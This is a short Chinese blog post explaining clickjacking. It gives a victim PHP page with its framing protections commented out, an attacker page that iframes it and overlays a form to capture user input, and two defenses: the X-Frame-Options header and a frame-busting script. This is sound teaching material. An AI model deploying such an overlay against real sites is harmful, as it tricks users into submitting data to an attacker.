点击劫持和防御

最新推荐文章于 2024-07-16 10:30:27 发布

theanarkh

最新推荐文章于 2024-07-16 10:30:27 发布

阅读量2.1k

点赞数

分类专栏： javascript 服务器信息安全

本文链接：https://blog.csdn.net/THEANARKH/article/details/53599371

版权

javascript 同时被 3 个专栏收录

121 篇文章 1 订阅

订阅专栏

服务器

21 篇文章 0 订阅

订阅专栏

信息安全

6 篇文章 0 订阅

订阅专栏

原页面source.php

<?php
 //header('X-Frame-Options:DENY'); 
 ?>
<!DOCTYPE html>
<html>
<head>
    <title></title>
    <style type="text/css">
        html,body{
            margin: 0px;
            padding: 0px;
        }
    </style>
</head>
<body>
<script type="text/javascript">
    //if(parent != self) top.location.href = 'source.php';
</script>
<form action="hij.php">
    <input type="text" name="name">
    <input type="submit" name="">
</form>
</body>
</html>

劫持页面hij.html

<!DOCTYPE html>
<html>
<head>
    <title></title>
    <style type="text/css">
        html,body{
            margin: 0px;
            padding: 0px;
        }
    </style>
</head>
<body>
<iframe src="source.php" style="border:0px solid white"></iframe>
<form action="hij.php" style="position:absolute;top:0px;left:0px;z-index:1">
    <input type="text" name="_name">
    <input type="submit" name="">
</form>
</body>
</html>

收集信息的页面hij.php

<?php
    echo 'hello hijack';
?>

攻击方法：
首先自己写一个页面，接着用iframe引入其他的页面，然后自己利用定位和z-index对原页面进行覆盖和’重绘’，当用户在输入时，以为是正常的页面，其实用户输入是在恶意页面进行的，最后也会提交到恶意者的服务器中。

防御方法：
1利用 header(‘X-Frame-Options:DENY’);
2 if(parent != self) top.location.href = ‘source.php’;这里要用top.location.href，否则会在iframe里不断加载source.php。因为 top.location.href代表的是最高层的window

theanarkh

关注

0
点赞
踩
1

收藏

觉得还不错? 一键收藏
0
评论
点击劫持和防御

原页面source.php //header('X-Frame-Options:DENY'); ?><!DOCTYPE html><html><head> <title></title> <style type="text/css"> html,body{ margin: 0px; padding: 0px;
复制链接

扫一扫

专栏目录